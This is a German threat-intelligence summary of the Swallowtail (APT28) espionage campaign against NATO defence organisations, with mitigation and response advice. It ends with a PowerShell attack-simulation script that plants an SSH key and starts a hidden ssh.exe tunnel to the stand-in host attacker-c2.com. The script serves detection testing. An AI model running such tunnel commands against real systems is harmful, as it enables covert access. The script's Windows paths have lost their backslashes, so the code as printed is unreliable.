Mit Russland verbundenes Swallowtail zielt auf NATO-Verteidigungssektor-Unternehmen ab

Zusammenfassung

Die russische Spionagegruppe Swallowtail, auch als APT28 bekannt, führte einen mehrmonatigen Einbruch durch und zielte dabei auf Verteidigungs-, See- und Strafverfolgungsorganisationen in den NATO-Mitgliedstaaten ab. Die Angreifer setzten den Hookedge-Backdoor und einen undokumentierten reflektierenden Loader namens ld.exe ein, um den Zugang aufrechtzuerhalten und Payloads im Speicher auszuführen. Die Kampagne umfasste auch fortgeschrittene Techniken wie SSH-Tunneling für anhaltenden Netzwerkzugang und PowerShell-basierte NTLM-Anmeldeinformationendiebstahl.

Untersuchung

Das Threat Hunter Team von Symantec verfolgte die erste Infektion bis hin zu makroaktivierten Word-Dokumenten, die über Outlook geliefert wurden. Analysten identifizierten einen Zustell- und Rückrufmechanismus mit webhook.site und einer versteckten Microsoft Edge-Instanz zur Abholung von Aufgaben. Die Angreifer zeigten auch Hands-On-Keyboard-Aktivitäten, führten Aufklärung, interne Netzwerkprüfung, laterale Bewegungen und Zugangsinformierungserfassung in kompromittierten Umgebungen durch.

Minderung

Organisationen sollten die Blockierung bekannter bösartiger webhook.site-Endpunkte priorisieren und Microsoft Edge auf anomales Verhalten überwachen, einschließlich Ein-Pixel- oder Off-Screen-Browserfenster. Es sollte eine strikte Ausgangsfilterung durchgesetzt werden, um unautorisierte SSH-Verbindungen zu verhindern, während Sicherheitsteams verdächtige PowerShell-Listener-Aktivitäten überwachen sollten. Endpoint-Schutz sollte auch reflektierendes Laden und unautorisierte Versuche zum Zugriff auf Anmeldeinformationen erkennen.

Reaktion

Wenn aktivitäten im Zusammenhang mit Hookedge erkannt werden, sollten Reagierende betroffene Systeme sofort isolieren, um aktive SSH-Tunnel und C2-Kommunikationen zu unterbrechen. Führen Sie eine detaillierte forensische Untersuchung auf undokumentierte Dateien wie ld.exe durch und prüfen Sie geplante Aufgaben auf Persistenzmechanismen. Führen Sie einen umfassenden Reset von Anmeldeinformationen für Konten durch, die während NTLM-Anmeldeinformationendiebstahl oder SSH-Schlüsselkompromittierung potenziell offengelegt wurden.

Simulation der Ausführung

• Angriffserzählung & Befehle: Der Angreifer beabsichtigt, einen persistenten, verschlüsselten Tunnel zu seiner Kommando- und Steuerungsinfrastruktur (C2) einzurichten. Sie haben einen gestohlenen SSH-Privatschlüssel in C:ProgramDataAdobeid_rsa abgelegt, um sich in legitime Software-Metadaten einzufügen. Sie versuchen dann, den Tunnel mit ssh.exezu starten. Nach der Einrichtung des Tunnels versuchen sie, eine bösartige Nutzlast mit einem benutzerdefinierten reflektierenden Loader namens ld.exein den Speicher zu laden. Diese Aktionen sollen traditionelle Perimeterschutzmaßnahmen umgehen, indem legitime Werkzeuge (ssh.exe) und Ausführung im Speicher (ld.exe).

• Regressionstestskript:

  # 1. Simulieren von Swallowtail SSH-Tunneling
  $dir = "C:ProgramDataAdobe"
  if (!(Test-Path $dir)) { New-Item -ItemType Directory -Path $dir -Force }
  $keyPath = "$dirid_rsa"
  "MIIEpAIBAAKCAQEA75..." | Out-File -FilePath $keyPath -Encoding ascii
  
  # Erkennung des SSH durch exakte Befehlszeilenübereinstimmung auslösen
  Start-Process "C:WindowsSystem32OpenSSHssh.exe" -ArgumentList "-i $keyPath user@attacker-c2.com" -WindowStyle Hidden
  
  # 2. Ausführung des reflektierenden Loaders simulieren
  # Erstellen eines Dummy ld.exe zur Telemetrieerzeugung
  $dummyLoader = "C:WindowsTempld.exe"
  New-Item -ItemType File -Path $dummyLoader -Force
  # Hinweis: In einem realen Szenario wäre dies eine Binärdatei; hier simulieren wir das Prozess-Erstellungereignis
  Start-Process $dummyLoader -ArgumentList "payload.enc" -WindowStyle Hidden

• Bereinigungskommandos:

  # Entfernen der simulierten bösartigen Dateien und Verzeichnisse
  Remove-Item -Path "C:ProgramDataAdobe" -Recurse -Force -ErrorAction SilentlyContinue
  Remove-Item -Path "C:WindowsTempld.exe" -Force -ErrorAction SilentlyContinue